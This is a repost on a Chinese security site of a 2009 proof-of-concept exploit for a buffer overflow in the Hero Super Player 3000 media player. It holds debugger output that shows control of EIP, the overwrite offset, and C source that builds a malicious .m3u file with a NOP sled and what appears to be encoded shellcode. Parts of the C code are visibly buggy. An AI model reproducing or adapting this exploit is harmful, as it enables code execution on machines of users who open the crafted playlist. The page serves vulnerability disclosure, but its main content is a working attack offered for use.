首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC
来源:vfocus.net 作者:fl0_fl0w 发布时间:2009-09-16  

  /******************************************************
   HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC *
   by fl0 fl0w                                          *
   ******************************************************
  */

  /********************************************************
   SOFTWARE INFORMATION                                   * 
   The software video player supports almost all formats  *
   and disks, you don't need any other software player to *
   play various video files. It can make obscure video    *
   has high definition and completely eliminate alias,    *
   also supports video desktop, resume playback and       *
   intellectual bookmark. It also provides audio formats  *
   conversion between AC3, MP3, and WAV, including CD     *
   ripping and video conversion between MPEG4 and AVI.    *
   ********************************************************
  */
 
  /***************************************
  DEBUGGING INFORMATION                  *                                              
  EAX 00000000                           *                                                 
  ECX 00000000                           *                                                 
  EDX 7C90E514 ntdll.KiFastSystemCallRet *                                                 
  EBX 000004ED                           *                                                 
  ESP 0012ED48                           *                                                 
  EBP 000004ED                           *                                                 
  ESI 00000001                           *                                                 
  EDI 7E42F3C2 USER32.SendMessageA       *                                                 
  EIP 00414141 Mmxado.00414141           *                                                 
  ****************************************
  */                                                                                      
 
  /***************************************************************************************
   ASSEMBLY                                                                              *
   00414141   FF7C             ???                                      ; Unknown command*
   00414143   43               INC EBX                                                   *
   00414144   83C9 FF          OR ECX,FFFFFFFF                                           *
   00414147   EB 46            JMP SHORT Mmxado.0041418F                                 *
   00414149   3D 21030000      CMP EAX,321                                               *
                                                                                         *
   As you cand see the assembler has no clue what just happend ???                       *
   ahhahahha ,just kidding                                                               *
   We own EIP register , just that the assembler copyes 1 NULL byte.                     *
   The function Mmxado() causes the bug.                                                 *
   This is info from Windows DEP                                                         *
   AppName: mmxado.exe  AppVer: 1.0.0.1  ModName: mmxado.exe                     * 
   ModVer: 1.0.0.1  Offset: 00014141                                                *
   After more tests here is the assembly ,here we identify the origins of the bug        *
                                                                                         *  
   0012EB0A   0000             ADD BYTE PTR DS:[EAX],AL                                  *   
   0012EB0C   3B00             CMP EAX,DWORD PTR DS:[EAX]                                *    
   012EB0E   0000             ADD BYTE PTR DS:[EAX],AL                                   *     
   0012EB10   2300             AND EAX,DWORD PTR DS:[EAX]                                *
   It adds to EAX a value that it cannot handle.                                         *
   Then compares the new value with the old one                                          *
   and it rezults in setting the Z FLAG with 0 as a rezult of false                      *
   Snip                                                                                  *
   Z 0 DS 0023 32bit 0(FFFFFFFF)                                                         *
   Snip                                                                                  *
   The EIP OFFSET is 253 bytes(0xFD).                                                    *
   ***************************************************************************************      
  */
 
  /*************************************************************************************
   TECHNICALL INFORMATION                                                              *         
   Download the software from :                                                        *
   http://www.download.com/Hero-Super-Player-3000/3000-2139_4-10401910.html?tag=lst-3  *
   Note :After you open the TestFile click on DelUnselect,that's                       *
   when the buffer overflow occurs.                                                    *
   This POC has been tested on MS Windows Xp Sp3 English.                              *
   This POC has been compiled with DEv-C++ 4.9.9.2                                     *
   *************************************************************************************
  */   
 
  /*******************************************************************************
  DEMO                                                                           *
  C:\Documents and Settings\Stefan\Desktop>hero.exe                              *
                                                                                 *
  This POC was written for educational purpose.                                  *
  Use it at your own risk.                                                       *
  Author will be not be responsible for any damage.                              *
                                                                                 *
        PRESS 1 to CONTINUE                                                      *
                                                                                 *
        PRESS 2 to EXIT                                                          *
  1                                                                              *     
  *********************************************************************          *
                HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC             *
  The usage is:                                                                  *
                All Credits fl0 fl0w                                             *
                                                                                 * 
        -f       FILE                                                            *
  *********************************************************************          *
  C:\Documents and Settings\Stefan\Desktop>hero.exe -f test                      *
        FILE DONE !                                                              *
        The file is saved in the directory : C:\Documents and Settings\Stefan\De *
  sktop                                                                          *
  ********************************************************************************
  */
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "windows.h"
#include "stdint.h"
#include "getopt.h"
#include "unistd.h"

#define JUNK_SIZE 0x101 //257 bytes
#define SIZE 0x400
   
 typedef struct Top {
 uint8_t D;
 uint8_t I;
 uint8_t R;         
         }DIR;
 typedef struct BOTTOM {
 uint8_t E;
 uint8_t X;
 uint8_t T;
 uint8_t N;        
         }EXTENSION;
        
  void Usage ()
   { system("CLS");
         printf("*********************************************************************\n");
      fprintf ( stdout , "\t\tHERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC\n");
     printf("The usage is:\n");
   
     fprintf ( stdout , "\t\tAll Credits fl0 fl0w\n");
         }  
     void Menu()
   { fprintf(stderr,
    "\n"
    "\t-f       FILE\n"
    "*********************************************************************"
    "\n");
   }         
                                              
  uint32_t fletcher32(uint8_t data[SIZE], int16_t len)
    {
    uint32_t sum1 = 0xffff, sum2 = 0xffff;
    while (len) {
    unsigned tlen = len > 360 ? 360 : len;
    len -= tlen;
    do {
    sum1 += *data++;
    sum2 += sum1;
    } while (--tlen);
    sum1 = (sum1 & 0xffff) + (sum1 >> 16);
    sum2 = (sum2 & 0xffff) + (sum2 >> 16);
    }
    sum1 = (sum1 & 0xffff) + (sum1 >> 16);
    sum2 = (sum2 & 0xffff) + (sum2 >> 16);
    return sum2 << 16 | sum1;
    }
 
 void buildFile(char *fname)
{   uint8_t JUNK[JUNK_SIZE] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x6A, 0x23, 0x59, 0xD9,
    0xEE, 0xD9, 0x74, 0x24, 0xF4, 0x5B, 0x81, 0x73, 0x13, 0xEC, 0x61, 0x0E, 0x31, 0x83, 0xEB, 0xFC,
    0xE2, 0xF4, 0x10, 0x89, 0x4A, 0x31, 0xEC, 0x61, 0x85, 0x74, 0xD0, 0xEA, 0x72, 0x34, 0x94, 0x60,
    0xE1, 0xBA, 0xA3, 0x79, 0x85, 0x6E, 0xCC, 0x60, 0xE5, 0x78, 0x67, 0x55, 0x85, 0x30, 0x02, 0x50,
    0xCE, 0xA8, 0x40, 0xE5, 0xCE, 0x45, 0xEB, 0xA0, 0xC4, 0x3C, 0xED, 0xA3, 0xE5, 0xC5, 0xD7, 0x35,
    0x2A, 0x35, 0x99, 0x84, 0x85, 0x6E, 0xC8, 0x60, 0xE5, 0x57, 0x67, 0x6D, 0x45, 0xBA, 0xB3, 0x7D,
    0x0F, 0xDA, 0x67, 0x7D, 0x85, 0x30, 0x07, 0xE8, 0x52, 0x15, 0xE8, 0xA2, 0x3F, 0xF1, 0x88, 0xEA,
    0x4E, 0x01, 0x69, 0xA1, 0x76, 0x3D, 0x67, 0x21, 0x02, 0xBA, 0x9C, 0x7D, 0xA3, 0xBA, 0x84, 0x69,
    0xE5, 0x38, 0x67, 0xE1, 0xBE, 0x31, 0xEC, 0x61, 0x85, 0x59, 0xD0, 0x3E, 0x3F, 0xC7, 0x8C, 0x37,
    0x87, 0xC9, 0x6F, 0xA1, 0x75, 0x61, 0x84, 0x8E, 0xC0, 0xD1, 0x8C, 0x09, 0x96, 0xCF, 0x66, 0x6F,
    0x59, 0xCE, 0x0B, 0x02, 0x6F, 0x5D, 0x8F, 0x4F, 0x6B, 0x49, 0x89, 0x61, 0x0E, 0x31, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60,
    0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60,
    0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x63, 0x63,
    0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x41, 0x41, 0x41,
0x41,
 };             
  uint8_t w[SIZE];
  uint8_t x[SIZE];
  //Allocating memory for our 2 structures
  DIR *Dr;
  Dr = (DIR*)malloc(sizeof(DIR));
  EXTENSION *ExT;
  ExT = (EXTENSION*)malloc(sizeof(EXTENSION));
  //buildind byte by byte the construction C:\
  Dr->D = 0x43;
  Dr->I = 0x3A;
  Dr->R = 0x5C;
  memcpy(x, Dr, sizeof(Dr));
  fletcher32(x, SIZE);
  //buildind byte by byte the construction .MP3
  ExT->E = 0x2E;
  ExT->X = 0x6D;
  ExT->T = 0x70;
  ExT->N = 0x33; 
  memcpy(w, ExT, sizeof(ExT));
   fletcher32(w, SIZE);
  //building our special binary .M3U FILE
  FILE *f;
  f = fopen(fname, "wb");
  fwrite(x, sizeof(uint8_t), 3, f);
  fwrite(JUNK, sizeof(uint8_t), sizeof(JUNK), f);
  fwrite(w, sizeof(uint8_t), 4, f);
  fclose(f); 
  free(x);
  free(w);
  }
 
int main(int argc, char *argv[])
{ if(argc < 2) {
   Usage();      
   Menu();
   exit(-1);    }
  uint8_t b[SIZE];
  strcpy(b, argv[2]);
  strcat(b, ".m3u");
  buildFile(b);
  printf("\tFILE DONE !\n");
  char *path;
  size_t size;
  path = getcwd(path, size);
  printf("\tThe file is saved in the directory : %s", path);
  return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BigAnt Server 2.50 GET Request
·linux/x86 shellcode that forks
·vBulletinR Version 3.8.2 D3n14
·linux/x86 shellcode that forks
·PowerISO 4.0 Local Buffer Over
·Novell Groupwise Client 7.0.3.
·Tuniac v.090517c (.PLS File) L
·EasyMail Quicksoft 6.0.2.0 Act
·FotoTagger 2.12.0.0 (.XML File
·EasyMail Quicksoft 6.0.2.0 (Cr
·Batch Picture Watemark 1.0 (.j
·VLC Media Player < 0.9.6 (CUE)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved